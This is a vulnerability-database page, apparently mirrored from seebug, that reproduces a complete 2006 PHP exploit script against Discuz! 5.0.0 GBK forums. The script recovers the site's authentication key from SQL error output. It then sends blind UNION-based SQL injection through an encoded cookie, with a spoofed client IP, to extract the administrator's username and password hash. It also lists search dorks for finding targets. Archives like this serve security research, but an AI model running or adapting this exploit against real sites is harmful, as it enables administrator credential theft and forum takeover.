Lucene search
K
Catalog
Vendors
Products
Timeline
Vulnerabilities
Sources
Documentation
Blog
Glossary
FAQ
Brand assets
Assessment
Agents dashboard
Agent Scanning
API Scanning
Assessment API
Alerts
Email notifications
Webhook notifications
Alerts API
SBOM package analysis
API Reference
Support
Settings
Sign in

Discuz! 5 SQL injection Exploit

🗓️ 26 Oct 2006 00:00:00Reported by RootType 
seebug
 seebug🔗 www.seebug.org👁 11 Views

Discuz! 5.0.0 GBK SQL injection exploit for admin credentials disclosur

Code

                                                <?php<br />
print_r('<br />
---------------------------------------------------------------------------<br />
Discuz! 5.0.0 GBK SQL injection / admin credentials disclosure exploit<br />
by rgod [email protected]<br />
site: http://retrogod.altervista.org<br />
dorks: "powered by discuz! 5.0.0<br />
       "powered by discuz!<br />
---------------------------------------------------------------------------<br />
');<br />
if ($argc<3) {<br />
    print_r('<br />
---------------------------------------------------------------------------<br />
Usage: php '.$argv[0].' host path OPTIONS<br />
host:      target server (ip/hostname)<br />
path:      path to discuz<br />
Options:<br />
 -p[port]:    specify a port other than 80<br />
 -P[ip:port]: specify a proxy<br />
Example:<br />
php '.$argv[0].' localhost /discuz/ -P1.1.1.1:80<br />
php '.$argv[0].' localhost /discuz/ -p81<br />
---------------------------------------------------------------------------<br />
');<br />
    die;<br />
}<br />
error_reporting(0);<br />
ini_set("max_execution_time",0);<br />
ini_set("default_socket_timeout",5);<br />
<br />
function quick_dump($string)<br />
{<br />
  $result='';$exa='';$cont=0;<br />
  for ($i=0; $i<=strlen($string)-1; $i++)<br />
  {<br />
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))<br />
   {$result.="  .";}<br />
   else<br />
   {$result.="  ".$string[$i];}<br />
   if (strlen(dechex(ord($string[$i])))==2)<br />
   {$exa.=" ".dechex(ord($string[$i]));}<br />
   else<br />
   {$exa.=" 0".dechex(ord($string[$i]));}<br />
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}<br />
  }<br />
 return $exa."\r\n".$result;<br />
}<br />
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';<br />
<br />
function sendpacketii($packet)<br />
{<br />
  global $proxy, $host, $port, $html, $proxy_regex;<br />
  if ($proxy=='') {<br />
    $ock=fsockopen(gethostbyname($host),$port);<br />
    if (!$ock) {<br />
      echo 'No response from '.$host.':'.$port; die;<br />
    }<br />
  }<br />
  else {<br />
    $c = preg_match($proxy_regex,$proxy);<br />
    if (!$c) {<br />
      echo 'Not a valid proxy...';die;<br />
    }<br />
    $parts=explode(':',$proxy);<br />
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";<br />
    $ock=fsockopen($parts[0],$parts[1]);<br />
    if (!$ock) {<br />
      echo 'No response from proxy...';die;<br />
    }<br />
  }<br />
  fputs($ock,$packet);<br />
  if ($proxy=='') {<br />
    $html='';<br />
    while (!feof($ock)) {<br />
      $html.=fgets($ock);<br />
    }<br />
  }<br />
  else {<br />
    $html='';<br />
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {<br />
      $html.=fread($ock,1);<br />
    }<br />
  }<br />
  fclose($ock);<br />
}<br />
<br />
$host=$argv[1];<br />
$path=$argv[2];<br />
$port=80;<br />
$proxy="";<br />
for ($i=3; $i<$argc; $i++){<br />
$temp=$argv[$i][0].$argv[$i][1];<br />
if ($temp=="-p")<br />
{<br />
  $port=str_replace("-p","",$argv[$i]);<br />
}<br />
if ($temp=="-P")<br />
{<br />
  $proxy=str_replace("-P","",$argv[$i]);<br />
}<br />
}<br />
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}<br />
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}<br />
<br />
echo "please wait...\n";<br />
<br />
//from global.func.php<br />
function authcode($string, $operation, $key = '') {<br />
    $key = $key ? $key : $GLOBALS['discuz_auth_key'];<br />
    $coded = '';<br />
    $keylength = 32;<br />
    $string = $operation == 'DECODE' ? base64_decode($string) : $string;<br />
       for($i = 0; $i < strlen($string); $i += 32) {<br />
        $coded .= substr($string, $i, 32) ^ $key;<br />
    }<br />
    $coded = $operation == 'ENCODE' ? str_replace('=', '', base64_encode($coded)) : $coded;<br />
    return $coded;<br />
}<br />
<br />
//stolen from install.php<br />
function random($length) {<br />
    $hash = '';<br />
    $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';<br />
    $max = strlen($chars) - 1;<br />
    mt_srand((double)microtime() * 1000000);<br />
    for($i = 0; $i < $length; $i++) {<br />
        $hash .= $chars[mt_rand(0, $max)];<br />
    }<br />
    return $hash;<br />
}<br />
<br />
$agent="Googlebot/2.1";<br />
//see sql errors... you need auth key,<br />
//it's a value mixed up with the random string in cache_settigns.php and your user-agent, so let's ask ;)<br />
$tt="";for ($i=0; $i<=255; $i++){$tt.=chr($i);}<br />
while (1)<br />
{<br />
    $discuz_auth_key=random(32);<br />
    $packet ="GET ".$p."admincp.php?action=recyclebin HTTP/1.0\r\n";<br />
    $packet.="CLIENT-IP: 999.999.999.999\r\n";//spoof<br />
    $packet.="User-Agent: $agent\r\n";<br />
    $packet.="Host: ".$host."\r\n";<br />
    $packet.="Cookie: adminid=1; cdb_sid=1; cdb_auth=".authcode("suntzu\tsuntzu\t".$tt,"ENCODE").";\r\n";<br />
    $packet.="Accept: text/plain\r\n";<br />
    $packet.="Connection: Close\r\n\r\n";<br />
    $packet.=$data;<br />
    sendpacketii($packet);<br />
    $html=html_entity_decode($html);<br />
    $html=str_replace("<br />","",$html);<br />
    $t=explode("AND m.password='",$html);<br />
    $t2=explode("' ",$t[1]);<br />
    $pwd_f=$t2[0];<br />
    $t=explode("AND m.secques='",$html);<br />
    $t2=explode("'\n",$t[1]);<br />
    $secques_f=$t2[0];<br />
    $t=explode("AND m.uid='",$html);<br />
    $t2=explode("'\x0d",$t[1]);<br />
    $uid_f=$t2[0];<br />
    $my_string=$pwd_f."\t".$secques_f."\t".$uid_f;<br />
    if ((strlen($my_string)==270) and (!eregi("=",$my_string))){<br />
        break;<br />
    }<br />
}<br />
$temp = authcode("suntzu\tsuntzu\t".$tt,"ENCODE");<br />
//calculating key...<br />
$key="";<br />
for ($j=0; $j<32;  $j++){<br />
    for ($i=0; $i<255; $i++){<br />
        $aa="";<br />
        if ($j<>0){<br />
            for ($k=1; $k<=$j; $k++){<br />
                $aa.="a";<br />
            }<br />
        }<br />
        $GLOBALS['discuz_auth_key']=$aa.chr($i);<br />
        $t = authcode($temp,"DECODE");<br />
        if ($t[$j]==$my_string[$j]){<br />
            $key.=chr($i);<br />
        }<br />
   }<br />
}<br />
<br />
//echo "AUTH KEY ->".$key."\r\n";<br />
$GLOBALS['discuz_auth_key']=$key;<br />
<br />
echo "pwd hash (md5) -> ";<br />
$chars[0]=0;//null<br />
$chars=array_merge($chars,range(48,57)); //numbers<br />
$chars=array_merge($chars,range(97,102));//a-f letters<br />
$j=1;$password="";<br />
while (!strstr($password,chr(0)))<br />
{<br />
    for ($i=0; $i<=255; $i++)<br />
    {<br />
        if (in_array($i,$chars))<br />
        {<br />
            //you can use every char because of base64_decode()...so this bypass magic quotes...<br />
            //and some help by extract() to overwrite vars<br />
            $sql="999999'/**/UNION/**/Select/**/'tOe7fl',1,s.groupid='6'/**/AS/**/ipbanned,1,0,20366,1,'suntzu','aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa','',1,1,(IF((ASCII(SUBSTRING(m.password,$j,1))=".$i."),1,0)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/cdb_sessions/**/s,/**/cdb_members/**/m/**/Where/**/adminid=1/**/LIMIT/**/1/*";<br />
            $packet ="GET ".$p."admincp.php?action=recyclebin& HTTP/1.0\r\n";<br />
            $packet.="User-Agent: $agent\r\n";<br />
            $packet.="CLIENT-IP: 1.2.3.4\r\n";<br />
            $packet.="Host: ".$host."\r\n";<br />
            $packet.="Cookie: adminid=1; cdb_sid=1; cdb_auth=".authcode("suntzu\tsuntzu\t".$sql,"ENCODE").";\r\n";<br />
            $packet.="Accept: text/plain\r\n";<br />
            $packet.="Connection: Close\r\n\r\n";<br />
            $packet.=$data;<br />
            sendpacketii($packet);<br />
            if (eregi("action=groupexpiry",$html)){<br />
                $password.=chr($i);echo chr($i);sleep(1);break;<br />
            }<br />
        }<br />
        if ($i==255) {<br />
            die("\nExploit failed...");<br />
        }<br />
    }<br />
$j++;<br />
}<br />
<br />
echo "\nadmin user     -> ";<br />
$j=1;$admin="";<br />
while (!strstr($admin,chr(0)))<br />
{<br />
    for ($i=0; $i<=255; $i++)<br />
    {<br />
        $sql="999999'/**/UNION/**/Select/**/'tOe7fl',1,s.groupid='6'/**/AS/**/ipbanned,1,0,20366,1,'suntzu','aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa','',1,1,(IF((ASCII(SUBSTRING(m.username,$j,1))=".$i."),1,0)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/cdb_sessions/**/s,/**/cdb_members/**/m/**/Where/**/adminid=1/**/LIMIT/**/1/*";<br />
        $packet ="GET ".$p."admincp.php?action=recyclebin& HTTP/1.0\r\n";<br />
        $packet.="User-Agent: $agent\r\n";<br />
        $packet.="CLIENT-IP: 1.2.3.4\r\n";<br />
        $packet.="Host: ".$host."\r\n";<br />
        $packet.="Cookie: adminid=1; cdb_sid=1; cdb_auth=".authcode("suntzu\tsuntzu\t".$sql,"ENCODE").";\r\n";<br />
        $packet.="Accept: text/plain\r\n";<br />
        $packet.="Connection: Close\r\n\r\n";<br />
        $packet.=$data;<br />
        sendpacketii($packet);<br />
        if (eregi("action=groupexpiry",$html)){<br />
            $admin.=chr($i);echo chr($i);sleep(1);break;<br />
        }<br />
        if ($i==255) {die("\nExploit failed...");}<br />
   }<br />
$j++;<br />
}<br />
<br />
function is_hash($hash)<br />
{<br />
 if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}<br />
 else {return false;}<br />
}<br />
<br />
if (is_hash($password)) {<br />
   echo "exploit succeeded...";<br />
}<br />
else {<br />
   echo "exploit failed...";<br />
}<br />
?>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

Book a live demo
26 Oct 2006 00:00Current
7.1High risk
Vulners AI Score7.1
discuzsql injectionadmin credentials
11